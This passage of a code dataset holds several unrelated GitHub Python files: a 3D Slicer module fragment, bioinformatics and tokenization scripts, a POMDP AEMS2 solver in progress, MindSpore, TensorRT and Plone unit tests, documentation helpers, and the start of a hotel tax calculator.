------------------------------------------------------------------------------------------------------------------\n # --------------- Section VIII-02: Set / Update Functions ---------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self, idx_TargetFrame):\n ''' **Logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self, idx_TargetFrame) ''' ''''''\n # 00-A. Check the validity of nodeSeqBrowser_Selected and idx_TargetFrame\n nodeSeqBrowser_Selected = self.getParameterNode().GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n if not nodeSeqBrowser_Selected: return\n # 00-B. Check the validity of idx_TargetFrame\n if not self.isValid_idxTargetFrame(nodeSeqBrowser_Selected, idx_TargetFrame):\n raise ValueError(f'SL_Alert! Invalid idx_TargetFrame = {idx_TargetFrame}'); return\n\n # 01. Update nodeSeqBrowser along with its the Current-SelectedItemNumber\n nodeSeqBrowser_Selected.SetSelectedItemNumber(idx_TargetFrame)\n print(f\"\\t\\t**Logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex()\\t\"\n f\"nodeSeqBrowser_Selected.GetID() = {nodeSeqBrowser_Selected.GetID()}, idx_TargetFrame = {idx_TargetFrame}\")\n\n\n\n\n''' ================================================================================================================='''\n''' ================================================================================================================='''\n''' ================================================================================================================='''\n#\n# sl__US_SeqViewerTest\n#\nclass sl__US_SeqViewerTest(ScriptedLoadableModuleTest):\n \"\"\" This is the test case for your scripted module.\n Uses ScriptedLoadableModuleTest base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py \"\"\"\n def setUp(self):\n \"\"\" Do whatever is needed to reset the state - typically a scene clear will be enough. \"\"\"\n slicer.mrmlScene.Clear()\n\n def runTest(self):\n \"\"\"Run as few or as many tests as needed here. \"\"\"\n self.setUp()\n self.test_sl__US_SeqViewer1()\n\n def test_sl__US_SeqViewer1(self):\n \"\"\" Ideally you should have several levels of tests. At the lowest level\n tests should exercise the functionality of the logic with different inputs\n (both valid and invalid). At higher levels your tests should emulate the\n way the user would interact with your code and confirm that it still works\n the way you intended.\n One of the most important features of the tests is that it should alert other\n developers when their changes will have an impact on the behavior of your\n module. For example, if a developer removes a feature that you depend on,\n your test should break so they know that the feature is needed.\n \"\"\"\n\n self.delayDisplay(\"Starting the test\")\n\n pass\n\n self.delayDisplay('Test passed')\n\n\n","repo_name":"SenonETS/3DSlicerTutorial_ExtensionModuleDevelopment","sub_path":"04__CodeStyle_MethodGroups_&_US_SeqViewer/sl__US_SeqViewer/sl__US_SeqViewer.py","file_name":"sl__US_SeqViewer.py","file_ext":"py","file_size_in_byte":34834,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"} +{"seq_id":"5836473752","text":"import sys\nimport argparse\nfrom Bio import SeqIO\nfrom Bio import Seq\nfrom Bio.Seq import MutableSeq\n\ndescription = \"\"\"\nModify a reference genome to methylate positions according to the input recognition set\n\"\"\"\n\nparser = argparse.ArgumentParser(description=description, epilog='')\nparser.add_argument('input', action='store', help='the input reference file')\nparser.add_argument('--recognition', action='store', help='the recognition set')\nargs = parser.parse_args()\n\nrecognition_sites = list()\nrecognition_sites_methylated = list()\n\nif args.recognition == \"cpg\":\n recognition_sites = [\"CG\"]\n recognition_sites_methylated = [\"MG\"]\nelif args.recognition == \"dam\":\n recognition_sites = [\"GATC\"]\n recognition_sites_methylated = [\"GMTC\"]\nelif args.recognition == \"dcm\":\n recognition_sites = [\"CCAGG\", \"CCTGG\"]\n recognition_sites_methylated = [\"CMAGG\", \"CMTGG\"]\nelse:\n sys.stderr.write(\"unknown recognition: \" + args.recognition)\n sys.exit(1)\n\nrecognition_length = len(recognition_sites[0])\n\n# \nfor rec in SeqIO.parse(args.input, \"fasta\"):\n outseq = rec.seq.tomutable()\n for bi in xrange(0, len(rec) - 1):\n\n for s,m in zip(recognition_sites, recognition_sites_methylated):\n if str(rec.seq[bi:bi + recognition_length]) == s:\n outseq[bi:bi + recognition_length] = m\n rec.seq = outseq\n SeqIO.write(rec, sys.stdout, \"fasta\")\n","repo_name":"xchromosome219/methylation-analysis","sub_path":"methylate_reference.py","file_name":"methylate_reference.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"28426961855","text":"from janome.tokenizer import Tokenizer as janome_tokenizer\nimport jieba\nimport MeCab\nfrom tqdm import tqdm\nfrom random import sample\ntry:\n from resource.langconv import Converter\n from resource.load_zh_jp_transfer import load_transfer\n\n\n zh2jp, jp2zh = load_transfer()\n\n def convert_ja2zh(line):\n opt_line = []\n for ch in line:\n if ch in jp2zh:\n opt_line.append(jp2zh[ch])\n else:\n opt_line.append(ch)\n return \"\".join(opt_line)\nexcept BaseException:\n pass\n\n\nj_t = janome_tokenizer()\ndef segment_janome(line):\n seg = [token for token in j_t.tokenize(line, wakati=True)]\n return [word for word in seg if word != \"\"]\n\nm_t = MeCab.Tagger()\ndef segment_mecab(line):\n m = m_t.parseToNode(line)\n output_list = []\n while m:\n if not m.surface == \"\":\n output_list.append(m.surface)\n m = m.next\n return [word for word in output_list if word != \"\"]\n\ndef segment_jieba(line):\n try:\n line = Converter('zh-hans').convert(line).encode('utf-8')\n except BaseException:\n pass\n seg = list(jieba.cut(line))\n return [word for word in seg if word != \"\"]\n\ndef main(zh_method=\"jieba\", ja_method=\"janome\"):\n with open(\"./text/zh.txt\", \"r\", encoding=\"utf-8\") as f:\n zh_lines = f.readlines()\n seg_zh_lines = [\" \".join(segment_jieba(line)) for line in tqdm(zh_lines)]\n\n with open(\"./text/ja.txt\", \"r\", encoding=\"utf-8\") as f:\n ja_lines = f.readlines()\n \"\"\"\n Mecab is at least 30x quicker than janome.\n \"\"\"\n if ja_method == \"janome\":\n seg_ja_lines = [\" \".join(segment_janome(line)) for line in tqdm(ja_lines)]\n if ja_method == \"mecab\":\n seg_ja_lines = [\" \".join(segment_mecab(line)) for line in tqdm(ja_lines)]\n\n ja_lines_new = [convert_ja2zh(line) for line in seg_ja_lines]\n\n total_count = len(seg_zh_lines)\n test_index = sample(range(total_count), 1000)\n\n with open(\"./text/zh_segment.txt\", \"w\", encoding=\"utf-8\") as f:\n with open(\"./text/zh_segment_test.txt\", \"w\", encoding=\"utf-8\") as f_test:\n for index, line in enumerate(seg_zh_lines):\n if not index in test_index:\n f.write(line.strip() + \"\\n\")\n else:\n f_test.write(line.strip() + \"\\n\")\n\n with open(\"./text/ja_segment.txt\", \"w\", encoding=\"utf-8\") as f:\n with open(\"./text/ja_segment_test.txt\", \"w\", encoding=\"utf-8\") as f_test:\n for index, line in enumerate(ja_lines_new):\n if not index in test_index:\n f.write(line.strip() + \"\\n\")\n else:\n f_test.write(line.strip() + \"\\n\")\n\nif __name__ == \"__main__\":\n main(zh_method=\"jieba\", ja_method=\"mecab\")\n\n","repo_name":"GanjinZero/ACG_translator","sub_path":"tokenize_util.py","file_name":"tokenize_util.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"70766422667","text":"#!/usr/bin/env python3\n\n\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\nimport os\nimport sys\nfrom textwrap import dedent, indent\n\nfrom subprocrunner import CalledProcessError, SubprocessRunner\n\n\ndef main() -> int:\n env = dict(os.environ, LC_ALL=\"C.UTF-8\")\n\n proc = SubprocessRunner(\"sqlitebiter -h\")\n try:\n proc.run(env=env, check=True)\n except CalledProcessError as e:\n print(f\"[ERROR] {e}\\n{e.stderr}\", file=sys.stderr)\n sys.exit(1)\n\n assert proc.stdout\n help_file_path = \"pages/usage/help.txt\"\n print(help_file_path)\n\n with open(help_file_path, \"w\") as f:\n f.write(\n dedent(\n \"\"\"\\\n ::\n\n \"\"\"\n )\n )\n\n f.write(indent(proc.stdout, \" \"))\n\n for subcommand in [\"file\", \"gs\", \"url\", \"stdin\"]:\n proc = SubprocessRunner(f\"sqlitebiter {subcommand:s} -h\")\n proc.run(env=env, check=True)\n assert proc.stdout\n help_file_path = f\"pages/usage/{subcommand:s}/help.txt\"\n\n print(help_file_path)\n\n with open(help_file_path, \"w\") as f:\n f.write(\n dedent(\n \"\"\"\\\n ``sqlitebiter {:s}`` subcommand help\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n ::\n\n \"\"\".format(\n subcommand\n )\n )\n )\n\n f.write(indent(proc.stdout, \" \"))\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"thombashi/sqlitebiter","sub_path":"docs/update_command_help.py","file_name":"update_command_help.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":794,"dataset":"github-code","pt":"82"} +{"seq_id":"22015683193","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nUW, CSEP 573, Win19\n\"\"\"\n\nfrom pomdp import POMDP\nfrom onlineSolver import OnlineSolver\nfrom typing import List, Optional, Set\nimport numpy as np\n\n\nclass Node:\n def __init__(self):\n self.U: float = float('inf')\n self.L: float = float('-inf')\n \nclass ActionNode(Node):\n def __init__(self, ai: int, parent: Node, reward: float):\n super(Node, self).__init__()\n if not isinstance(parent, BeliefNode):\n raise Exception(\"Needs to be a belief node!\")\n \n self.parent: BeliefNode = parent # Belief node that points to this action node\n self.ai = ai # Action index\n self.reward: float = reward # Arc from belief node = R(b, a)\n self.children: List[BeliefNode] = [] # Children belief nodes\n \n \nclass BeliefNode(Node):\n def __init__(\n self,\n belief,\n parent: Optional[Node],\n depth: int,\n gamma_d: float,\n oi: int,\n obs_prob: float,\n obs_prob_cumulative: float,\n ):\n super(Node, self).__init__()\n if parent and not isinstance(parent, ActionNode):\n raise Exception(\"Needs to be an action node!\")\n \n self.parent: ActionNode = parent # action node pointing to this belief node\n self.belief = belief # numpy array\n self.children: List[ActionNode] = [] # action nodes that this points to\n self.depth = depth # depth\n self.gamma_d = gamma_d # discount^depth\n self.oi = oi # observation index\n self.obs_prob = obs_prob # probability of seeing the observation P(z | b, a) (arc from AND node)\n self.obs_prob_cumulative = obs_prob_cumulative # Pi[P(z|b,a) * P(a|b)] from i=0 to i=depth\n self.chosen_action_index = None\n \n \nclass AEMS2(OnlineSolver):\n def __init__(self, pomdp, lb_solver, ub_solver, precision = .001, action_selection_time = .1):\n super(AEMS2, self).__init__(pomdp, precision, action_selection_time)\n self.lb_solver = lb_solver\n self.ub_solver = ub_solver\n \"\"\"\n *****Your code\n You can add any attribute you want\n \"\"\"\n \n # Collections of all belief and action nodes\n self.belief_nodes: Set[BeliefNode] = set()\n self.action_nodes: Set[ActionNode] = set()\n \n # Initial belief comes from the prior\n initial_belief = np.copy(self.pomdp.prior)\n initial_L = self.lb_solver.getValue(initial_belief)\n initial_U = self.ub_solver.getValue(initial_belief)\n \n # After updating root, we increment this!\n self.depthOffset = 0\n self.gammaDivisor = 1.0\n self.rewardConst = self.getRewardConst()\n \n self.root: BeliefNode = BeliefNode(\n belief=initial_belief,\n parent=None,\n depth=0,\n gamma_d=1,\n oi=0,\n obs_prob=1.0,\n obs_prob_cumulative=1.0\n )\n self.root.L = initial_L\n self.root.U = initial_U\n self.belief_nodes.add(self.root)\n \n # Non-changing part of reward\n def getRewardConst(self):\n RT = np.multiply(self.pomdp.R[:,:,:,0], self.pomdp.T)\n sum = np.sum(RT, 2)\n return np.swapaxes(sum, 0, 1)\n #\n # Choose\n #\n def is_fringe_node(self, belief_node: BeliefNode) -> bool:\n if not belief_node.children:\n return True\n return False\n \n def get_all_fringe_nodes(self) -> List[BeliefNode]:\n fringe_nodes: List[BeliefNode] = []\n for bn in self.belief_nodes:\n fringe_nodes.append(bn)\n return fringe_nodes\n \n def select_best_fringe_node(self) -> BeliefNode:\n # If root is a fringe node, then return it\n if self.is_fringe_node(self.root):\n return self.root\n \n # Otherwise, select the next actions\n fringe_nodes = self.get_all_fringe_nodes()\n max = float('-inf')\n max_i = -1\n \n # b* ← arg maxb∈FRINGE(G) E(b)\n for i, bn in enumerate(fringe_nodes):\n e = self.E(bn)\n if e > max:\n max = e\n max_i = i\n return fringe_nodes[max_i]\n \n # E(b) = gamma^d * P(b) * e_hat(b)\n def E(self, bn: BeliefNode) -> float:\n return bn.gamma_d * self.e_hat(bn) * self.P(bn)\n \n def e_hat(self, bn: BeliefNode) -> float:\n return bn.U - bn.L\n \n def P(self, bn: BeliefNode):\n return bn.obs_prob_cumulative\n\n #\n # Expand\n #\n def expand(self, bn: BeliefNode):\n L_a_max = float('-inf')\n U_a_max = float('-inf')\n \n for ai, action in enumerate(self.pomdp.actions):\n L_a = U_a = reward = self.R_b_a(bn, ai)\n \n # Create new action node\n new_an = ActionNode(ai=ai, parent=bn, reward=reward)\n \n for oi, obs in enumerate(self.pomdp.observations):\n prob_arc_val = self.P_o_b_a(bn, ai, oi)\n \n # Calculate new belief\n # TODO!! Should oi be from the current observation or from the past (bn.oi)?\n new_belief = self.NewBelief(bn=bn, ai=ai, oi=oi)\n \n # Use heuristics to get U and L\n L = self.lb_solver.getValue(new_belief)\n U = self.ub_solver.getValue(new_belief)\n \n # TODO: Is this correct?\n # Equation 2 - set the action node L and U\n L_a += self.pomdp.discount * prob_arc_val * L\n U_a += self.pomdp.discount * prob_arc_val * U\n \n # TODO: Is this correct?\n # P(b^d) = Pi[P(o|b,a)*P(a|b)\n obs_prob_cumulative = bn.obs_prob_cumulative * bn.obs_prob\n \n # TODO: Create a new belief node and append to action node\n new_bn = BeliefNode(\n belief=new_belief,\n parent=new_an,\n depth=bn.depth+1,\n gamma_d=bn.gamma_d * self.pomdp.discount / self.gammaDivisor, # divisor for updateRoot\n oi=oi,\n obs_prob=prob_arc_val,\n obs_prob_cumulative=obs_prob_cumulative,\n )\n new_bn.L = L\n new_bn.U = U\n \n # Add the new BN to the new AN and to the belief node set (for searching)\n new_an.children.append(new_bn)\n self.belief_nodes.add(new_bn)\n \n # Get the max vals to update the current bn\n if L_a > L_a_max:\n L_a_max = L_a\n if U_a > U_a_max:\n U_a_max = U_a\n \n # Configure the action node and append to chosen bn (created by eq 2)\n new_an.L = L_a\n new_an.U = U_a\n bn.children.append(new_an)\n \n # TODO: Does this actually need to happen? Where is this in the paper?\n bn.U = U_a_max\n bn.L = L_a_max\n \n def R_b_a(self, bn: BeliefNode, ai: int) -> float:\n return float(np.dot(bn.belief, self.rewardConst[:, ai]))\n # ASS = np.einsum('ijkl->ijk', self.pomdp.R)\n # AS = np.einsum('ijk->ij', ASS)\n # S = AS[ai]\n # res = np.dot(S, bn.belief)\n # return float(res)\n \n # total = 0.0\n # for si in range(len(self.pomdp.states)):\n # # What should these values be???\n # total += self.pomdp.R[ai, si, 0, 0]\n # return total\n \n # Calculates EQ 3 in the paper\n def P_o_b_a(self, bn: BeliefNode, ai: int, oi: int) -> float:\n # TODO: This is probably wrong!\n # total = 0.0\n # for s_prime in range(len(self.pomdp.states)):\n # O = self.pomdp.O[ai, s_prime, oi]\n # s_sum = sum(self.pomdp.T[ai, si, s_prime]*bn.belief[si] for si in range(len(self.pomdp.states)))\n # total += O * s_sum\n # return total\n current_belief = np.matmul(bn.belief, self.pomdp.T[ai, :, :])\n current_belief = np.dot(current_belief, self.pomdp.O[ai, :, oi])\n return float(current_belief)\n \n # This calculates b'(s') using EQ 1 from the paper\n def NewBelief(self, bn: BeliefNode, ai: int, oi: int):\n b_prime = np.zeros(len(self.pomdp.states))\n \n for s_prime in range(len(self.pomdp.states)):\n O = self.pomdp.O[ai, s_prime, oi]\n s_sum = sum((self.pomdp.T[ai, si, s_prime]*bn.belief[si]) for si in range(len(self.pomdp.states)))\n b_prime[s_prime] = O * s_sum\n \n # Apply normalization\n nf = np.sum(b_prime)\n if nf:\n b_prime = np.divide(b_prime, nf)\n return b_prime\n \n #\n # Backtrack\n #\n def backtrack(self, bn: BeliefNode, L_old: float, U_old: float):\n while bn != self.root:\n an = bn.parent\n an.L += self.pomdp.discount * bn.obs_prob * (bn.L - L_old)\n an.U += self.pomdp.discount * bn.obs_prob * (bn.U - U_old)\n \n # TODO: is there really a typing error here?\n bn = an.parent\n L_old, U_old = self.update_belief_node(bn)\n \n def update_belief_node(self, bn: BeliefNode):\n L_old, U_old = bn.L, bn.U\n max_ai = -1\n U_max = L_max = float('-inf')\n \n for ai, an in enumerate(bn.children):\n if an.U > U_max:\n U_max = an.U\n max_ai = ai\n if an.L > L_max:\n L_max = an.L\n \n bn.L = L_max\n bn.U = U_max\n bn.chosen_action_index = max_ai\n return L_old, U_old\n \n def expandOneNode(self):\n \"\"\"\n *****Your code\n \"\"\"\n # Choose\n best_fringe_node = self.select_best_fringe_node()\n L_old, U_old = best_fringe_node.L, best_fringe_node.U\n \n # Expand\n self.expand(best_fringe_node)\n \n # Backtrack\n self.backtrack(bn=best_fringe_node, L_old=L_old, U_old=U_old)\n \n # Consider using termination condition\n return True\n\n def chooseAction(self) -> int:\n \"\"\"\n *****Your code\n \"\"\"\n if self.root.chosen_action_index is not None:\n return self.root.chosen_action_index\n \n max_U = float('-inf')\n max_ai = -1\n for ai, an in enumerate(self.root.children):\n if an.U > max_U:\n max_ai = ai\n max_U = an.U\n \n return max_ai\n \n \n def updateRoot(self, action, observation):\n \"\"\"\n ***Your code \n \"\"\"\n # TODO: May want to throw a bunch of stuff away (plus their children) instead of keeping it in memory\n chosen_an = self.root.children[action]\n throwaway_action_nodes = [an for an in self.root.children if an != chosen_an]\n chosen_bn = chosen_an.children[observation]\n throwaway_belief_nodes = [bn for bn in chosen_an.children if bn != chosen_bn]\n \n # Update root\n self.belief_nodes.remove(self.root)\n self.root = chosen_bn\n self.root.parent = None\n self.depthOffset += 1\n self.gammaDivisor *= self.pomdp.discount\n","repo_name":"kail/csep573","sub_path":"pomdp/aems.py","file_name":"aems.py","file_ext":"py","file_size_in_byte":11533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"28181948674","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n__author__ = 'MFC'\n__time__ = '18/4/22 23:45'\n\n\"\"\"\n11-1 python 中的 GIL\nGIL = global interpreter lock (in cpython)\npython中一个线程对应于c语言中的一个线程\ngil使得同一个时刻只有一个线程在一个cpu上执行字节码，无法将多个线程映射到多个cpu上执行\npypy是去gil化的 \n\"\"\"\n\nimport dis\n\n\ndef add(a):\n a = a + 1\n return a\n\n\nprint(dis.dis(add))\n","repo_name":"yudn/Python3Scripts","sub_path":"imooc/AdvancePythonIO/chapter11/python_gil.py","file_name":"python_gil.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"20645251938","text":"import mindspore\nimport mindspore as ms\nimport mindspore.ops as ops\nimport numpy as np\nimport pytest\nfrom mindspore import nn\nfrom mindspore.common.initializer import initializer\n\nfrom mindediting import is_ascend\nfrom mindediting.models.common.tunable_conv import TunableConv2d, TunableParameter\n\nms.set_seed(1)\nnp.random.seed(1)\n\n\n@pytest.mark.parametrize(\"num_params\", [2, 3])\n@pytest.mark.parametrize(\"default_input\", [initializer(init=\"uniform\", shape=(1, 1, 1), dtype=ms.float32)])\ndef test_tunable_parameter(default_input, num_params):\n assert num_params > 1\n batch_size = num_params\n gamma = TunableParameter(\n default_input=default_input, name=\"gamma\", requires_grad=True, num_params=num_params, mode=\"linear\"\n )\n px = ops.eye(num_params, num_params, ms.float32)\n g = gamma(px)\n print(gamma)\n assert g.shape == (batch_size, *default_input.shape)\n\n\n@pytest.mark.parametrize(\"num_params\", [3])\n@pytest.mark.parametrize(\"kernel_size\", [3])\n@pytest.mark.parametrize(\"stride\", [1])\n@pytest.mark.parametrize(\"group\", [1])\ndef test_tunable_conv2d(num_params, kernel_size, stride, group):\n\n assert num_params > 1\n mse = nn.MSE()\n batch_size = num_params\n b, c, h, w, d = batch_size, 16, 24, 24, 32\n x = ops.normal(shape=(b, c, h, w), mean=ms.Tensor(0.0), stddev=ms.Tensor(1.0))\n px = ops.eye(num_params, num_params, ms.float32)\n\n tunable_conv = TunableConv2d(\n c, d, kernel_size, stride=stride, group=group, has_bias=True, num_params=num_params, mode=\"linear\"\n )\n conv = nn.Conv2d(c, d, kernel_size, stride=stride, group=group, has_bias=True)\n print(tunable_conv)\n y = tunable_conv(x, px)\n for p in range(num_params):\n conv.weight = tunable_conv.weight[0, p, ...]\n conv.bias = tunable_conv.bias[0, p, ...]\n y_p = conv(x[p : p + 1, ...])\n if is_ascend():\n assert mse(y[p : p + 1, ...], y_p) < 1e-4\n else:\n assert mse(y[p : p + 1, ...], y_p) < 1e-6\n","repo_name":"mindspore-lab/mindediting","sub_path":"tests/st/test_tunable_cell.py","file_name":"test_tunable_cell.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"} +{"seq_id":"1540497852","text":"from Small_UnetGated import UNetLWGated,ConvHis\nimport torch\nimport tensorrt as trt\nimport common\nimport numpy as np\nimport torch.nn as nn\nfrom config import mdevice\nTRT_LOGGER = trt.Logger(trt.Logger.WARNING)\nmodel_his = ConvHis()\nmodel_his.load_state_dict(torch.load(\"totalModel.140.pth.tar\")[\"state_dict\"],strict=False)\nmodel_his=model_his.to(mdevice).eval()\nfor key in model_his.state_dict():\n print(key)\nprint(model_his.state_dict()[\"convHis3.7.running_mean\"])\ndef build_engine():\n with trt.Builder(TRT_LOGGER) as builder, builder.create_network() as network:\n builder.max_workspace_size = common.GiB(1)\n input_tensor = network.add_input(name=\"test\",dtype=trt.float32,shape=(1,1,2,2))\n upsample1=network.add_resize(input=input_tensor)\n upsample1.resize_mode = trt.ResizeMode.NEAREST\n upsample1.shape=(1,1,4,4)\n upsample1.scales=[1,1,2,2]\n network.mark_output(tensor=upsample1.get_output(0))\n return builder.build_cuda_engine(network)\nwith build_engine() as engine:\n inputs, outputs, bindings, stream = common.allocate_buffers(engine)\n inputs[0].host=np.arange(1,5).reshape((1,1,2,2)).astype(np.float32)\n m_upsample=nn.Upsample(scale_factor=2, mode='nearest')\n print(inputs[0].host)\n print(m_upsample(torch.from_numpy(inputs[0].host)))\n with engine.create_execution_context() as context:\n [output] = common.do_inference(context, bindings=bindings, inputs=inputs, outputs=outputs, stream=stream)\n print(output.reshape(1,1,4,4))\n","repo_name":"fuxihao66/ExtraNetTRTInference","sub_path":"deploy_trt_manual.py","file_name":"deploy_trt_manual.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"18348088775","text":"import re\n\nfrom triple_quote_clean import TripleQuoteCleaner\n\nfrom ai_template_style_transfer import transfer\n\ntqc = TripleQuoteCleaner()\n\ndescription = (\n tqc\n << \"\"\"\n *Background*\n\n Solution files uploaded into AWS will be loaded into Databricks tables. We\n will assume that the ground truth for the data loaded into Databricks will\n match the output from a set of local extraction samples. (i.e. the\n extraction end to end on a local device. Note I am assuming that the local\n extraction has already been sufficiently tested). For each loaded table, for\n each row, metadata columns will be added showing the file source and\n ingestion time.\n\n *Method*\n\n using the added meta-data columns,\n\n - we will confirm that all source files are ingested into Databricks\n - ensure that when compared to a local extraction.\n - row counts match.\n - all data matches.\n - no duplicates are found.\n\n *Narrative*\n\n As a Validator, I want to ensure the data is accurate and consistent with\n the ground truth from local extraction samples.\n\n *Acceptance Criteria*\n\n Given solution files are uploaded into AWS and loaded into Databricks\n tables, When comparing the data in Databricks with local extraction samples,\n Then the following conditions should be\n\n met:\n\n - All source files are ingested into Databricks using the added metadata\n columns\n - Row counts match between Databricks tables and local extraction samples *\n All data matches between Databricks tables and local extraction samples\n - No duplicate records are found in Databricks tables*\n \"\"\"\n)\n\nassertion_failed_message = \"template conditions not met\"\n\n\ndef test_transfer__jira_issue():\n style_transferred = transfer.jira_issue(description).lower()\n\n print(style_transferred)\n\n assert (\n len(re.findall(\"as a\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(r\"\\\\*narrative\\\\*\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"i want\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(r\"\\\\*acceptance criteria\\\\*\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"given that\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"when the\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"then the\", style_transferred)) > 0\n ), assertion_failed_message\n\n\nif __name__ == \"__main__\":\n test_transfer__jira_issue()\n","repo_name":"Chr1sC0de/template-style-transfer","sub_path":"tests/test__transfer_style.py","file_name":"test__transfer_style.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"47674546782","text":"from unittest import TestSuite, makeSuite\nfrom Products.CMFCore.utils import getToolByName\n\nfrom pmr2.app.workspace.tests.storage import DummyStorage\n\nfrom pmr2.app.exposure.content import ExposureContainer, Exposure\nfrom pmr2.app.exposure.adapter import *\n\nfrom pmr2.app.exposure.tests.base import ExposureUnitTestCase\n\n\nclass TestAdapters(ExposureUnitTestCase):\n\n def afterSetUp(self):\n self.portal['exposure'] = ExposureContainer('exposure')\n tester = Exposure('tester')\n self.portal.exposure['tester'] = tester\n\n def test_000_original_adapter(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'cake'\n workspace = ExposureToWorkspaceAdapter(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_001_fullpath_adapter(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'/plone/workspace/cake'\n workspace = ExposureToWorkspaceAdapter(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_010_original_traverse(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'cake'\n workspace = ExposureToWorkspaceTraverse(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_011_fullpath_traverse(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'/plone/workspace/cake'\n workspace = ExposureToWorkspaceTraverse(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n\nclass TestExposureStorageAdapter(ExposureUnitTestCase):\n \"\"\"\\\n This tests the dummy framework and implementation, along with the\n adapter with manual registration.\n \"\"\"\n\n def setUp(self):\n ExposureUnitTestCase.setUp(self)\n self.portal['exposure'] = ExposureContainer('exposure')\n self.workspace = self.portal.workspace.blank\n tester = Exposure('tester')\n tester.commit_id = u'0'\n tester.workspace = u'/plone/workspace/blank'\n self.portal.exposure['tester'] = tester\n self.exposure = self.portal.exposure['tester']\n\n def test_010_storage_adapter_failure(self):\n # but workspace has storage unspecified\n self.assertRaises(ValueError, ExposureStorageAdapter, self.exposure)\n\n def test_020_storage_adapter_success(self):\n self.workspace.storage = 'dummy_storage'\n # storage adapter should now return.\n result = ExposureStorageAdapter(self.exposure)\n self.assert_(isinstance(result, DummyStorage))\n self.assertEqual(result.rev, '0')\n\n\ndef test_suite():\n suite = TestSuite()\n suite.addTest(makeSuite(TestAdapters))\n suite.addTest(makeSuite(TestExposureStorageAdapter))\n return suite\n","repo_name":"PMR2/pmr2.app","sub_path":"pmr2/app/exposure/tests/test_adapters.py","file_name":"test_adapters.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"38096320183","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/10/31 15:22\n# @Author : Alex\n# @Site : \n# @File : runtest.py\n# @Software: PyCharm\n\nimport unittest\n\n# 利用TestLoader类中提供的discover（）方法\n# 定义测试用例的目录为当前目录\ntest_dir = './test_case'\ndiscover = unittest.defaultTestLoader.discover(test_dir, pattern='test*.py')\n\nif __name__ == '__main__':\n runner = unittest.TextTestRunner()\n runner.run(discover)\n","repo_name":"Crazy-bear/mytest","sub_path":"test_web/runtest.py","file_name":"runtest.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13232357069","text":"#-----------------------------------------------------------------------\n# Author: Kyle Thomas\n# My python program for calculating taxes and room charges for a hotel\n# This program requires the Zelle Graphics Library which can be found at\n# http://mcsp.wartburg.edu/zelle/python/\n#-----------------------------------------------------------------------\n\n\nfrom graphics import Entry, Image, GraphWin, Point, Rectangle, Text\n\n\n# Tax Rates:\nTAX_RATE = 1.103 # 1 + 8.3% sales + 2% occupancy tax\nFLAT_TAX = 2 # $2 per night city/county tax\n\n\n# Purpose: To calculate the total charges after tax\n# Input: The room rate (float)\n# Output: The total after tax (float)\ndef calc_tax(rate):\n return rate * TAX_RATE + FLAT_TAX\n\n\n# Purpose: To calculate just the room charges without tax\n# Input: The number of nights (int) and the total charges (float)\n# Output: The total room charges (minus tax) (float)\ndef calc_rate(nights, total):\n return ((total / nights) - FLAT_TAX) / TAX_RATE\n\n\n# Purpose: To calculate the total tax paid\n# Input: The rate (float), the total and the number of nights (int)\n# Output: The tax paid (float)\ndef calc_diff(rate, total, nights):\n return total - (rate * 